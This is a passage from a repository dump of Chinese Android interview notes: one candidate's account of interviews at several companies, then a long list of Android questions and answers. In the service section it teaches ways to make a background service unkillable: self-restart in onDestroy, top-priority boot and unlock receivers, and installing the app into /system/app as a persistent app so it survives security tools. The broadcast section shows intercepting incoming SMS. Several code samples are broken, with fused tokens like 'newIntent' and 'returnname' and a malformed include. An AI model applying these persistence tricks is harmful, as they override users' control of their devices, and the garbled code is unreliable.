start原理）\n还问了优缺点\n（也有一些问题忘记了）\n这次面试很久，忘记带水了，出来我直接喝完了一瓶怡宝\n这交自我感觉答得不错，然后过了2个小时就收到HR面通知\n\n## HR面\n\n自我介绍\n项目里面怎么解决安全问题的？好可怕，会技术的HR\n有没有女朋友?\n家在哪里\n有没有亲戚在腾讯？\n我问了下要是过了的话大概会在哪里实习？HR说在深圳，还问我有什么问题么？我说没有，我爸妈也在那边，然后他在我简历上面记了一下。\n为什么要学习android?\nHR面就10多分钟，很快，和我一起面试的还有几个学生，也都是10来分钟，然后HR叫我等结果\n\n然后等啊等，等到现在还没有结果\n\n# 3. 360面试\n\n360全程视频面试加写代码什么的\n\n## 一面\n\n写一个adapter，我后面忘记了getView的一个参数，一直在那里想，面试官问我是不是在编译器里面写，我说我在想怎么写。\nhashmap原理\njava可重入锁\n排序算法和稳定性，快排什么时候情况最坏？\n一个获全国奖的项目问了我20分钟，特别是service不被杀死的方法，我说了4种才放过我，还问了我具体实现，特别是在JNI里面实现的时候\n项目中界面适配，自定义过view没有？\nNFC读卡，这个是我的项目，我说了具体实现，然后就放过我了\n我项目中用了google map 和定位，他问怎么定位的？居然问了我具体API，我还说了里面的坑，国产手机阉割了一部分的问题\n一面大概1个半小时，头昏脑涨，然后面试官并不放过我，叫我等等。他去叫二面面试官\n\n## 二面\n\nhttp协议了解多少，说说里面的协议头部有哪些字段？\nhttps了解多少？为什么百度全部都用了https包括首页\n散列表的基础知识，里面也问了hashmap（可见hashmap重要性）\n项目问题，几个项目都问了，什么分工啊什么的\n问了我很多项目中开发的问题，还好基本都答出来了，二面基础知识基本没多少，都是项目问题\n二面接近一个半小时，还好在寝室面试，边面边喝水，二面脑袋都是糊的\n\n二面完后，10分钟打电话通知一周内有HR面\n\n## HR面\n\nHR面的时候，我正在火车上，HR说只有15分钟，我说当场面了，因为我那个时候正停在一个大站里面，要停半个小时\n\n自我介绍，问了我所有项目的分工问题和设计等问题，好几个项目，这里就花了接近20分钟，然后火车开走了，然后大家都知道，悲催了，没信号\n\n等到我有信号的时候，再给HR打电话约好第二天继续面。\n第二天\n\n继续项目分工\n中兴实习情况？为什么最后没留下？（要读书啊）\n开发的一些规范\n投了XX公司和XX公司没有？为什么没投XX公司？哎，这里太年轻别坑了\n怎么看待3Q大战（大姐，这个我怎么来说呢？）\n问了我实习时间，希望实习的地点，希望做哪方面？\n你觉得你一面和二面哪一面成绩更好？每一面大概多少分\n优缺点\n每个问题都问了很久，因为每个过后都接着往下问了的。整个HR面都1小时13分钟，累啊！！说好的15分钟呢\n\n然后N天后，收到360拒信。\n\n# **4. 今日头条**\n\n今日头条也是我唯一过的公司，一面还好，二面全程技术轰炸，HR面聊得挺好，虽然有点短\n\n今日头条我是内推的，N天后给我发邮件和电话约面试，本来是北京面试的，结果去不了，就电话面试了。\n\n两次技术面试也是接近2个小时 。一面面试官面完后，叫我去吃饭，过会儿继续面，天真的我以为已经二面了，然而并不是，这个时候面试官还是建议去北京面试，过的机会大些，这个时候哪还有心情吃饭，一直等面试官的电话，结果继续面的时候直接写了一个代码就OK了，代码是在一个矩阵是查找有没有某个数，矩阵从左到右依次增大（忘记是增大还是减小了），从上到下也一样。由于电脑问题，我还是翻墙去写代码的，写代码的时候，由于网不稳定，还经常断\n\n写完直接叫我等二面，过了会儿二面面试官马上来了电话\n\n二面面试官感觉很随和，从Java的用法问到了虚拟机，问到了操作系统，最后深入问到了一个编译原理。还问了一些C语言的东西。\n还问了排序。\n然后可能是因为我所有东西是自学的，面试官在问之前都问了我了解不，不了解就重新换一个。还问了一些图论最短路径问题（还好面试前不久做了一个比赛，华为的未来寻路，就是最短路径问题），这个答得还行，说了一些经典算法，还有一些只能算法，还有一些改进等。\n\n然后就是我项目中的问题，因为我用了rxjava，picasso，retrofit等开源项目，所以面试官问了我retrofit是如何处理注解的，我直接讲了源码，其过我博客里面也写过了这个，然后面试官可能发现我了解，就直接跳过了这个。然后问了我rxjava的东西，我结合博客看了部分源码，还问了rxjava里面用了大量的<? super T>这些，是什么意思。\n\n过后问我了解github上的一些开源项目不，我说了解一些，然后就是butterknife了，然后我回答错了，以为是注解+反射。后面挂电话后，找了时间分析了源码，还真不是反射==[butterknife分析在这里。](http://www.jianshu.com/p/0f3f4f7ca505)\n\n今日头条感觉是我面试问题水平最高的，不再局限于基础知识，问了很多很深入的东西。感觉面试官都是根据我具体情况问的，随手丢出问题，直到我回答不上。总以为二面会挂。\n\n结果在某天中午接到了HR的电话，由于那个时候有事，重新约了时间==\n当时都有HR面恐惧症了，因为前面两次HR面后都没消息了==\n\n## **HR面**\n\n时间很短，几个问题而已，回答完就叫我等结果，说5月中旬会出结果。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/Andorid-15k+的面试题.md",
    "content": "andorid开发也做了3年有余了，也面试很多加企业，借此机会分享一下，我们中遇到过的问题以及解决方案吧，希望能够对正在找工作的andoird程序员有一定的帮助。特别献上整理过的50道面试题目\n\n## 1.listView的优化方式\n\n- 重用convertView\n- viewHolder\n- static class viewHolder\n- 在列表里面有图片的情况下,监听滑动不加载图片\n- 多个不同布局，可以创建不同的viewHolder和convertView进行重用\n\n## 2.listView展示数据几种形式\n\n- 从sqlite拉取数据源显示\n- 从xml使用pull解析拉取数据源显示\n- 从网络上拉取数据源显示\n\n## 3.ipc\n\n进程间通信主要包括管道, 系统IPC(Inter-Process Communication，进程间通信)(包括消息队列,信号,共享存储), 套接字(SOCKET).\n目的:\n\n- 数据传输：一个进程需要将它的数据发送给另一个进程，发送的数据量在一个字节到几兆字节之间。\n- 共享数据：多个进程想要操作共享数据，一个进程对共享数据的修改，别的进程应该立刻看到。\n- 通知事件：一个进程需要向另一个或一组进程发送消息，通知它（它们）发生了某种事件（如进程终止时要通知父进程）。\n- 资源共享：多个进程之间共享同样的资源。为了作到这一点，需要内核提供锁和同步机制。\n- 进程控制：有些进程希望完全控制另一个进程的执行（如Debug进程），此时控制进程希望能够拦截另一个进程的所有陷入和异常，并能够及时知道它的状态改变。\n\n进程通过与内核及其它进程之间的互相通信来协调它们的行为。Linux支持多种进程间通信（IPC）机制，信号和管道是其中的两种。除此之外，Linux还支持System V 的IPC机制（用首次出现的Unix版本命名）。 \n\n## 4.Parcel的机制\n\nAndroid中的Parcel机制\n\n实现了Bundle传递对象\n\n使用Bundle传递对象，首先要将其序列化，但是，在Android中要使用这种传递对象的方式需要用到Android Parcel机制，即，Android实现的轻量级的高效的对象序列化和反序列化机制。\n\nJAVA中的Serialize机制，译成串行化、序列化……，其作用是能将数据对象存入字节流当中，在需要时重新生成对象。主要应用是利用外部存储设备保存对象状态，以及通过网络传输对象等。\n    \nAndroid中的新的序列化机制\n\n在Android系统中，定位为针对内存受限的设备，因此对性能要求更高，另外系统中采用了新的IPC（进程间通信）机制，必然要求使用性能更出色的对象传输方式。在这样的环境下，Parcel被设计出来，其定位就是轻量级的高效的对象序列化和反序列化机制。\n\nAndroid中序列化有以下几个特征：\n\n1. 整个读写全是在内存中进行，所以效率比JAVA序列化中使用外部存储器会高很多；\n\n2. 读写时是4字节对齐的\n\n3. 如果预分配的空间不够时，会一次多分配50%；\n\n4. 对于普通数据，使用的是mData内存地址，对于IBinder类型的数据以及FileDescriptor使用的是mObjects内存地址。后者是通过flatten_binder()和unflatten_binder()实现的，目的是反序列化时读出的对象就是原对象而不用重新new一个新对象。\n\n代码：\nactivity代码：\n\n```java\n Intent mIntent =newIntent(this,ParcelableDemo.class);   \n        Bundle mBundle =newBundle();   \n        mBundle.putParcelable(PAR_KEY, mPolice);   \n        mIntent.putExtras(mBundle);   \n```\n实体类：\n```java\npublic class Police implements Parcelable {\n       \n    private String name;\n    private int workTime;\n   \n    public String getName() {\n        returnname;\n    }\n   \n    public void setName(String name) {\n        this.name = name;\n    }\n   \n    public int getWorkTime() {\n        returnworkTime;\n    }\n   \n    public void setWorkTime(int workTime) {\n        this.workTime = workTime;\n    }\n       \n    public static final Parcelable.Creator<Police> CREATOR =newCreator<Police>() {\n   \n        @Override\n        public Police createFromParcel(Parcel source) {\n            Police police =newPolice();\n            police.name = source.readString();\n            police.workTime = source.readInt();\n            returnpolice;\n        }\n   \n        @Override\n        public Police[] newArray(int size) {\n            returnnewPolice[size];\n        }\n    };\n   \n    @Override\n    public int describeContents() {\n        return0;\n    }\n   \n    @Override\n    public void writeToParcel(Parcel parcel, int flags) {\n        parcel.writeString(name);\n        parcel.writeInt(workTime);\n    }\n}\n```\n## 5.JNI调用\n\n(1) Eclipse中新建android工程 \n工程名 JNItest \nPackage名com.ura.test \nActivity名 JNItest \n应用程序名 JNItest \n(2) 编辑main.xml \n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:orientation=\"vertical\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"fill_parent\"\n    >\n<TextView \n    android:id=\"@+id/JNITest\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"wrap_content\"\n    android:text=\"@string/JNITest\"\n    />\n</LinearLayout>\n```\n (3)编辑java文件 \n\n```java\npackage com.ura.test;\n \n\n import android.app.Activity;\n import android.os.Bundle;\n import android.widget.TextView;\n public class JNITest extends Activity {\n     /** Called when the activity is first created. */\n    static {\n             System.loadLibrary(\"JNITest\");\n    }\n    public native String GetTest();\n          @Override\n     public void onCreate(Bundle savedInstanceState) {\n         super.onCreate(savedInstanceState);\n         setContentView(R.layout.main);\n         String str =GetTest();\n         TextView JNITest = (TextView)findViewById(R.id.JNITest);\n         JNITest.setText(str);\n     }\n }\n```\n (4)生成head文件 \n编译上面工程声称class文件，然后用javah工具生成c/c++ 头文件 \njavah -classpath bin -d jni com.ura.test.JNItest\n生成的头文件如下 \n\n```c\n/* DO NOT EDIT THIS FILE - it is machine generated */\n #include <jni.h>\n /* Header for class com_ura_test_JNITest */\n \n\n #ifndef _Included_com_ura_test_JNITest\n #define _Included_com_ura_test_JNITest\n #ifdef __cplusplus\n extern \"C\" {\n #endif\n /*\n * Class:     com_ura_test_JNITest\n * Method:    GetTest\n * Signature: ()Ljava/lang/String;\n */\n JNIEXPORT jstring JNICALL Java_com_ura_test_JNITest_GetTest\n   (JNIEnv *, jobject);\n \n\n #ifdef __cplusplus\n }\n #endif\n #endif\n```\n (5)编写c/c++文件如下 \n\n```c\ninclude \"com_ura_test_JNITest.h\"\n\n#define LOG_TAG \"JNITest\"\n#undef LOG\n#include <utils/Log.h>\n\n JNIEXPORT jstring JNICALL Java_com_ura_test_JNITest_GetTest\n   (JNIEnv * env, jobject obj)\n {\n     return (*env)->NewStringUTF(env, (char *)\"JNITest Native String\");\n     LOGD(\"Hello LIB!\\n\");\n \n\n }\n```\n\n(6)编写android.mk文件 \n\n```c\nLOCAL_PATH:= $(call my-dir)\ninclude $(CLEAR_VARS)\nLOCAL_SRC_FILES:= \\\n    com_ura_test_JNITest.c\nLOCAL_C_INCLUDES := \\\n    $(JNI_H_INCLUDE)\nLOCAL_SHARED_LIBRARIES := libutils\nLOCAL_PRELINK_MODULE := false\nLOCAL_MODULE := libJNITest\ninclude $(BUILD_SHARED_LIBRARY) \n```\n\n(7)编译生成动态库 \n新建文件夹 \n~/mydroid/external/libJNITest \n把上面编写好的头文件，c/c++源文件，make文件拷贝进上面目录中 \n* 需要注意的是把PRELINK_MOUDULE设置成false \n否则需要重新做成img文件再烧入。 \n在 ubuntu中执行 \n\n```\ncd\ncd mydroid/build/\nenvsetup.sh\ncd ~/mydroid\ncd external/libJNITest/\nmm \n```\n\n编译成功的后会在下面目录中生成libJNITest.so文件 \n~mydroid/out/target/product/generic/system/lib/ \n(8)在模拟器中执行程序 \n首先要把动态库拷进/system/lib中。 \n启动模拟器 \n\n```\nadb shell\nadb remount\nadb push libJNITest.so /system/lib \n```\n\n确认拷贝成功\n```\n cd /system/lib\n ls\n```\n\n然后不要关闭模拟器（关掉再开动态库就没了，因为模拟器rom是只读） \n执行java程序JNITest \n会看到屏幕上打印出 \n\n```\nJNITest Native String 6.细谈四大组件\n```\n\n## activity\n\n### 1.什么是activity？\n\n四大组件之一,一般的,一个用户交互界面对应一个activity\nsetContentView() ,// 要显示的布局\nbutton.setOnclickLinstener{\n}\n, activity 是Context的子类,同时实现了window.callback和keyevent.callback, 可以处理与窗体用户交互的事件.\n \n里面不能进行耗时操作\n \n我开发常用的的有ListActivity  , PreferenceActivity ,TabAcitivty等…\n \n如果界面有共同的特点或者功能的时候,还会自己定义一个BaseActivity.     \n\n### 2.activity生命周期？\n\nActivity生命周期\n1 完整生命周期\n  onCreate()  \n  --> onStart()\n  --> onResume()\n   可以在手机上看见activity\n  ---> onPause()\n  --> onStop()\n   看不见了\n  ---> onDestory()\n   销毁了\n\n2 前台生命周期\n  onstart()  ---> onStop()之间进行切换\n  onCreate() --> onStart() --> onResume()\n   现在有一个activity完全覆盖\n  onPause()  ----> onStop()\n   如果上面的activity关闭\n  onRestart() ---> onStart() --> onResume()\n   \n3 可视生命周期\n   onResume()  ---> onPause()之间进行切换\n  onCreate() --> onStart() --> onResume()\n   现在有一个activity没有完全覆盖\n  onPause()\n   如果上面的activity关闭\n  onResume() \n\n### 3.横竖屏切换时候activity的生命周期？\n\n 这个生命周期跟清单文件里的配置有关系\n1、不设置Activity的android:configChanges时，切屏会重新调用各个生命周期\n默认首先销毁当前activity,然后重新加载\n \n2、设置Activity的android:configChanges=\"orientation|keyboardHidden\"时，切屏不会重新调用各个生命周期，只会执行onConfigurationChanged方法\n \n游戏开发中, 屏幕的朝向都是写死的.    \n\n### 4.如何将一个activity设置成窗口的样式？\n\n可以自定义一个activity的样式,详细见手机卫士的程序详细信息\nandroid:theme=\"@style/FloatActivity\" \nE:\\day9\\mobilesafe\\res\\values\\style\n \n### 5.activity启动模式？\nActivity启动模式任务堆栈\nActivity中的任务是与用户交互的一组Activity的集合，Activity会被按打开顺序安排在一个堆栈里。\n任务栈：并不是Activity是Activity的引用（内存地址） \nstandard 标准模式\n每次激活Activity时都会创建Activity，并放入任务栈中\n默认模式\n  singleTop 独享堆栈顶端\n如果在任务的栈顶正好存在该Activity的实例，就重用该实例，否者就会创建新的实例并放入栈顶(即使栈中已经存在该Activity实例，只要不在栈顶，都会创建实例)\n浏览器的书签\n  singleTask 独享任务堆栈\n如果在栈中已经有该Activity的实例，就重用该实例(会调用实例的onNewIntent())。重用时，会让该实例回到栈顶，因此在它上面的实例将会被移除栈。如果栈中不存在该实例，将会创建新的实例放入栈中\n浏览器的主页\n  singleInstance单例\n在一个新栈中创建该Activity实例，并让多个应用共享该栈中的该Activity实例。一旦该模式的Activity的实例存在于某个栈中，任何应用再激活该Activity时都会重用该栈中的实例，其效果相当于多个应用程序共享一个应用，不管谁激活该Activity都会进入同一个应用中\n通话界面\nSingletop：如果重复使用上一次的Activity，就重用。\nsingleTask：如果使用已经实例化Activity，就重用，并且删除重用Activity前面的Activity，重用的Activity置顶任务栈。\nsingleInstance：在一个新栈中创建该Activity实例，并让多个应用共享该栈中的该Activity实例。（调用Activity和重用Activity不在一个栈中）\nsingleTop 、singleTask 、singleInstance 优化性能、重用Activity。     6.后台activity被系统回收了怎么办？如果后台activity由于某种原因被系统回收了，如何保存之前状态？\n除了在栈顶的activity,其他的activity都有可能在内存不足的时候被系统回收,一个activity越处于栈底,被回收的可能性越大.\n\n```java\nprotected void onSaveInstanceState(Bundle outState) {\n       super.onSaveInstanceState(outState);\n       outState.putLong(\"id\", 1234567890);\n}\npublic void onCreate(Bundle savedInstanceState) {\n//判断savedInstanceState是不是空.\n//如果不为空就取出来\n        super.onCreate(savedInstanceState);\n}\n```\n\n### 7.如何退出activity,如何安全退出已调用多个activity的application？\n退出activity 直接调用 finish () 方法 . //用户点击back键 就是退出一个activity\n退出activity 会执行 onDestroy()方法 .\n1、抛异常强制退出：\n该方法通过抛异常，使程序Force Close。\n验证可以，但是，需要解决的问题是，如何使程序结束掉，而不弹出Force Close的窗口。\n \n       //安全结束进程        android.os.Process.killProcess(android.os.Process.myPid());\n2、记录打开的Activity：\n每打开一个Activity，就记录下来。在需要退出时，关闭每一个Activity即可。\n \n                     List<Activity> lists ; 在application 全集的环境里面\n              lists = new ArrayList<Activity>();\n \nlists.add(activity);\n \nfor(Activity activity: lists)\n{\n       activity.finish();\n}\n \n3、发送特定广播：\n在需要结束应用时，发送一个特定的广播，每个Activity收到广播后，关闭即可。\n//给某个activity 注册接受接受广播的意图   \n       registerReceiver(receiver, filter)\n \n//如果过接受到的是 关闭activity的广播  就调用finish()方法 把当前的activity finish()掉\n \n4、递归退出\n在打开新的Activity时使用startActivityForResult，然后自己加标志，在onActivityResult中处理，递归关闭。\n \n \n上面是网上的一些做法.\n \n其实 可以通过 intent的flag 来实现.. intent.setFlag(FLAG_ACTIVITY_CLEAR_TOP)激活一个新的activity,然后在新的activity的oncreate方法里面 finish掉.     8.两activity之间怎么传递数据？\n基本数据类型可以通过.  Intent 传递数据 \n在A activity中\n\n```java\nIntent intent = new Intent();\nintent.putExtra(name, value) \n      Bundle bundle = new Bundle();\n      bundle.putBoolean(key,value);\n      intent.putExtras(bundle);\nextras.putDouble(key, value)\n// 通过intent putExtra 方法 基本数据类型 都传递\n     \n      Intent i = getIntent();\n      i.getExtras();\n \nintent.getStringExtra(\"key\",\"value\");\nintent.getBooleanExtra(\"key\",\"value\")\n      Bundle bundle = new  Bundle();\n       bumdle.putShort(key, value);\n       intent.putExtras(bumdle);\nintent.putExtras(bundle)\n```\n--------------\nApplication 全局里面存放 对象 ,自己去实现自己的application的这个类,\n基础系统的application , 每个activity都可以取到\n-----------------\n \n让对象实现 implements  Serializable 接口把对象存放到文件上. \n让类实现Serializable 接口,然后可以通过ObjectOutputStream              //对象输出流 \n\n```java\n            File file = new File(\"c:\\1.obj\");\n            FileOutputStream fos  = new FileOutputStream(file);\n            ObjectOutputStream oos = new ObjectOutputStream(fos);\n           \n            Student stu = new Student();\n            oos.writeObject(stu);\n           \n           \n            //从文件中把对象读出来 \n            ObjectInputStream ois = new ObjectInputStream(arg0);\n             Student stu1 = (Student) ois.readObject();\n```\n文件/网络\n \nintent.setData(Uri)\nUri.fromFile();  //大图片的传递\n\n### 9.讲一讲对activity的理解？\n把上面的几点用自己的心得写出来     \n\n## service\n\n### 1.什么是Service以及描述下它的生命周期。Service有哪些启动方法，有什么区别，怎样停用Service？\n\n在Service的生命周期中，被回调的方法比Activity少一些，只有onCreate, onStart, onDestroy,\nonBind和onUnbind。\n通常有两种方式启动一个Service,他们对Service生命周期的影响是不一样的。\n1 通过startService\n    Service会经历 onCreate 到onStart，然后处于运行状态，stopService的时候调用onDestroy方法。\n   如果是调用者自己直接退出而没有调用stopService的话，Service会一直在后台运行。\n2 通过bindService  \n    Service会运行onCreate，然后是调用onBind， 这个时候调用者和Service绑定在一起。调用者退出了，Srevice就会调用onUnbind->onDestroyed方法。\n   所谓绑定在一起就共存亡了。调用者也可以通过调用unbindService方法来停止服务，这时候Srevice就会调用onUnbind->onDestroyed方法。\n需要注意的是如果这几个方法交织在一起的话，会出现什么情况呢？\n一个原则是Service的onCreate的方法只会被调用一次，就是你无论多少次的startService又bindService，Service只被创建一次。\n如果先是bind了，那么start的时候就直接运行Service的onStart方法，\n \n如果先是start，那么bind的时候就直接运行onBind方法。\n \n如果service运行期间调用了bindService，这时候再调用stopService的话，service是不会调用onDestroy方法的，service就stop不掉了，只能调用UnbindService, service就会被销毁\n \n \n如果一个service通过startService 被start之后，多次调用startService 的话，service会多次调用onStart方法。多次调用stopService的话，service只会调用一次onDestroyed方法。\n \n \n如果一个service通过bindService被start之后，多次调用bindService的话，service只会调用一次onBind方法。\n \n多次调用unbindService的话会抛出异常。\n     2.service是否在main thread中执行, service里面是否能执行耗时的操作?\n默认情况,如果没有显示的指定service所运行的进程, Service和activity是运行在当前app所在进程的main thread(UI主线程)里面 \nservice里面不能执行耗时的操作(网络请求,拷贝数据库,大文件 )\n在子线程中执行 new Thread(){}.start();\n \n特殊情况 ,可以在清单文件配置 service 执行所在的进程 ,让service在另外的进程中执行\n     3.怎么让在启动一个Activity是就启动一个service？\n在activity的onCreate()方法里面 startService();\n     4.Activity怎么和service绑定，怎么在activity中启动自己对应的service？\nstartService() 一旦被创建  调用着无关   没法使用service里面的方法\nbindService () 把service 与调用者绑定 ,如果调用者被销毁, service会销毁\nbindService() 我们可以使用service 里面的方法\n       bindService().  让activity能够访问到 service里面的方法\n       构建一个intent对象,\nIntent service = new Intent(this,MyService.class);\n 通过bindService的方法去启动一个服务,\n    bindService(intent, new MyConn(), BIND_AUTO_CREATE);\n       ServiceConnection 对象(重写onServiceConnected和OnServiceDisconnected方法) 和BIND_AUTO_CREATE.\n       private class myconn implements ServiceConnection\n \n       {\n \n              public void onServiceConnected(ComponentName name, IBinder service) {\n                     // TODO Auto-generated method stub\n                     //可以通过IBinder的对象 去使用service里面的方法\n              }\n \n              public void onServiceDisconnected(ComponentName name) {\n                     // TODO Auto-generated method stub\n                    \n              }\n             \n       }\n\n5.不用service，B页面为音乐播放，从A跳转到B，再返回，如何使音乐继续播放？\n 这个问题问的很山寨.默认不做任何处理,B里面的音乐都能播放.\n遇到问题, 可以随机应变,灵活发挥,多考虑些细节,比如说这个题就可以这样说,说说你对startActivityForResult的理解()\nB的结束的时候 setResult()\n \nA会调用到onActivityResult()\n就会获取到resultCode \nA开启B的时候,用startActivityForResult()方法, B返回的时候把播放的状态信息返回给A ,A继续播放音乐.\nseekTo(resultCode)     6.什么是IntentService？有何优点？\n普通的service ,默认运行在ui main 主线程\n    Sdk给我们提供的方便的,带有异步处理的service类,\n       可以在OnHandleIntent() 处理耗时的操作\n     7.什么时候使用Service?\n后台操作，耗时操作的时候\n \n       拥有service的进程具有较高的优先级\n    官方文档告诉我们，Android系统会尽量保持拥有service的进程运行，只要在该service已经被启动(start)或者客户端连接(bindService)到它。当内存不足时，需要保持，拥有service的进程具有较高的优先级。\n1． 如果service正在调用onCreate,  onStartCommand或者onDestory方法，那么用于当前service的进程相当于前台进程以避免被killed。\n2． 如果当前service已经被启动(start)，拥有它的进程则比那些用户可见的进程优先级低一些，但是比那些不可见的进程更重要，这就意味着service一般不会被killed.\n3． 如果客户端已经连接到service (bindService),那么拥有Service的进程则拥有最高的优先级，可以认为service是可见的。\n4． 如果service可以使用startForeg round(int, Notification)方法来将service设置为前台状态，那么系统就认为是对用户可见的，并不会在内存不足时killed。\n如果有其他的应用组件作为Service,Activity等运行在相同的进程中，那么将会增加该进程的重要性。\n       1.Service的特点可以让他在后台一直运行,可以在service里面创建线程去完成耗时的操作.\nnew Thread(){\nTimerTask // 循环的执行一个定时的任务\n \n}.start();    \n       2.Broadcast receiver捕获到一个事件之后,可以起一个service来完成一个耗时的操作.\nANR  new Service()\n \n       3.远程的service如果被启动起来,可以被多次bind, 但不会重新create.  索爱手机X10i的人脸识别的service可以被图库使用,可以被摄像机,照相机等程序使用.\n画廊 摄像机 照相机  bindService()  Ibinder的对象, 访问service\n     8.如何在让Service杀不死？\nAndroid开发的过程中，每次调用startService(Intent)的时候，都会调用该Service对象的onStartCommand(Intent,int,int)方法，然后在onStartCommand方法中做一些处理。\n从Android官方文档中，我们知道onStartCommand有4种int返回值，首先简单地讲讲int返回值的作用。\n一、onStartCommand有4种返回值：\nSTART_STICKY：如果service进程被kill掉，保留service的状态为开始状态，但不保留递送的intent对象。随后系统会尝试重新创建service，由于服务状态为开始状态，所以创建服务后一定会调用onStartCommand(Intent,int,int)方法。如果在此期间没有任何启动命令被传递到service，那么参数Intent将为null。\nSTART_NOT_STICKY：“非粘性的”。使用这个返回值时，如果在执行完onStartCommand后，服务被异常kill掉，系统不会自动重启该服务。\nSTART_REDELIVER_INTENT：重传Intent。使用这个返回值时，如果在执行完onStartCommand后，服务被异常kill掉，系统会自动重启该服务，并将Intent的值传入。\nSTART_STICKY_COMPATIBILITY：START_STICKY的兼容版本，但不保证服务被kill后一定能重启。\n \n二、创建不被杀死的service\n1.在service中重写下面的方法，这个方法有三个返回值， START_STICKY（或START_STICKY_COMPATIBILITY）是service被kill掉后自动重写创建\n@Override  public int onStartCommand(Intent intent, int flags, int startId)  {   return START_STICKY_COMPATIBILITY;    //return super.onStartCommand(intent, flags, startId);  }\n或\n @Override  public int onStartCommand(Intent intent, int flags, int startId)  {   flags = START_STICKY;   return super.onStartCommand(intent, flags, startId);   // return START_REDELIVER_INTENT;  }\n@Override public void onStart(Intent intent, int startId) { // 再次动态注册广播 IntentFilter localIntentFilter = new IntentFilter(\"android.intent.action.USER_PRESENT\"); localIntentFilter.setPriority(Integer.MAX_VALUE);// 整形最大值 myReceiver searchReceiver = new myReceiver(); registerReceiver(searchReceiver, localIntentFilter); super.onStart(intent, startId); }\n2.在Service的onDestroy()中重启Service.\n public void onDestroy()  {   Intent localIntent = new Intent();   localIntent.setClass(this, MyService.class); // 销毁时重新启动Service   this.startService(localIntent);  }\n3.创建一个广播\npublic class myReceiver extends BroadcastReceiver {  @Override  public void onReceive(Context context, Intent intent)  {   context.startService(new Intent(context, Google.class));  } }\n4.AndroidManifest.xml中注册广播myReceiver及MyService服务\n<receiver android:name=\".myReceiver\" >             <intent-filter android:priority=\"2147483647\" ><!--优先级加最高-->                 <!-- 系统启动完成后会调用 -->                 <action android:name=\"android.intent.action.BOOT_COMPLETED\" />                                <!-- 解锁完成后会调用 -->                 <action android:name=\"android.intent.action.USER_PRESENT\" />                 <!-- 监听情景切换 -->                 <action android:name=\"android.media.RINGER_MODE_CHANGED\" />                            </intent-filter> </receiver>\n<service android:name=\".MyService\" >\n注：解锁，启动，切换场景激活广播需加权限，如启动完成，及手机机状态等。\n<uses-permission android:name=\"android.permission.RECEIVE_BOOT_COMPLETED\" /> <uses-permission android:name=\"android.permission.READ_PHONE_STATE\" />\n 亲测ZTE U795手机Android 4.0.4版本adb push到system\\app下android:persistent=\"true\" 变成核心程序，在360杀掉进程的时候，myReceiver照样有效，保证service重生。呃\nKILL问题： 1. settings 中stop service onDestroy方法中，调用startService进行Service的重启。 2.settings中force stop 应用 捕捉系统进行广播（action为android.intent.action.PACKAGE_RESTARTED） 3. 借助第三方应用kill掉running task 提升service的优先级，程序签名，或adb push到system\\app下等\n相较于/data/app下的应用，放在/system/app下的应用享受更多的特权，比如若在其Manifest.xml文件中设置persistent属性为true，则可使其免受out-of-memory killer的影响。如应用程序'Phone'的AndroidManifest.xml文件：\n    <application android:name=\"PhoneApp\"\n                 android:persistent=\"true\"\n                 android:label=\"@string/dialerIconLabel\"\n                 android:icon=\"@drawable/ic_launcher_phone\">\n         ...\n    </application>\n设置后app提升为系统核心级别\n\n## Broadcast Receiver\n\n### 1.什么是Broadcast Receiver\n\n下面是Android Doc中关于BroadcastReceiver的概述：①广播接收器是一个专注于接收广播通知信息，并做出对应处理的组件。很多广播是源自于系统代码的──比如，通知时区改变、电池电量低、拍摄了一张照片或者用户改变了语言选项。应用程序也可以进行广播──比如说，通知其它应用程序一些数据下载完成并处于可用状态。\n②应用程序可以拥有任意数量的广播接收器以对所有它感兴趣的通知信息予以响应。所有的接收器均继承自BroadcastReceiver基类。\n③广播接收器没有用户界面。然而，它们可以启动一个activity来响应它们收到的信息，或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等等。一般来说是在状态栏上放一个持久的图标，用户可以打开它并获取消息。\n\n有很多广播接收者 ,系统已经实现了.\n广播分两种 有序广播\n无序广播\n 指定接收者的有序广播 .\n sendOrderedBroadcast(intent,receiverPermission,resultReceiver,scheduler,initialCode,initialData,initialExtras)\n   接受者一定会获取到 广播的事件 \n \nsendStickyBroadcast(intent)  //阴魂不散\n广播接受者在onReceive 方法获取到广播的事件\n \nWifi设置  等待wifi状态更新完毕\n \n  是不可以被拦截掉的 \n<intent-filter android:priority=\"1000\"> -1000 - 1000\n<action android:name=\"android.provider.Telephony.SMS_RECEIVED\"/>\n</intent-filter>\n abortBroadcast();\n \n \n代码配置优先级比xml配置优先级的级别高，因为代码运行在内存中，而清单在系统中\n \n 手机卫士中自定义一个broadcast receiver\n<intent-filter  android:> <action> sms_received </action>  </intent-filter>\n \n来获取短信到来的广播, 根据黑名单来判断是否拦截该短信.\n 画画板生成图片后,发送一个sd挂载的通知,通知系统的gallery去获取到新的图片.\nIntent intent = newIntent(Intent.ACTION_MEDIA_MOUNTED,Uri.parse(\"file://\"+Environment.getExternalStorageDirectory()));\n                        sendBroadcast(intent);\n     2.什么时候使用Broadcast Receiver\n用于接收系统的广播通知, 系统会有很多sd卡挂载,手机重启,广播通知,低电量,来电,来短信等….\n     3.如何使用Broadcast Receiver\n设置广播接收者的优先级,设置广播接受者的action名字 等…\n详细见工程代码.\n```xml\n         <intent-filter android:priority=\"1000\">\n                 <action android:name=\"android.intent.action.NEW_OUTGOING_CALL\"/>        \n         </intent-filter>\n        </receiver>\n              <receiver android:name=\".SmsReceiver\">\n                     <intent-filter android:priority=\"1000\">\n                            <action android:name=\"android.provider.Telephony.SMS_RECEIVED\"/>\n                     </intent-filter>\n              </receiver>\n              <receiver android:name=\".BootCompleteReceiver\">\n                     <intent-filter >\n                            <action android:name=\"android.intent.action.BOOT_COMPLETED\"      />           \n                            </intent-filter>\n              </receiver>\n```\n可以通过代码   registerReceiver(receiver,filter)     \n\n## ContentProvider\n\n### 1.什么是ContentProvider\nContentProvider内容提供者\nContentProvider 进程间通讯，进程间数据的访问/对外共享数据用\n优点：提供了统一的访问方式\n原理分析图\n\n\n### 2.什么时候使用ContentProvider\n需要访问别人的数据的时候\n### 3.如何使用ContentProvider\n1.先是提供的数据类型等数据的类。package org.juetion.cp;\n```java\nimport android.net.Uri;\nimport 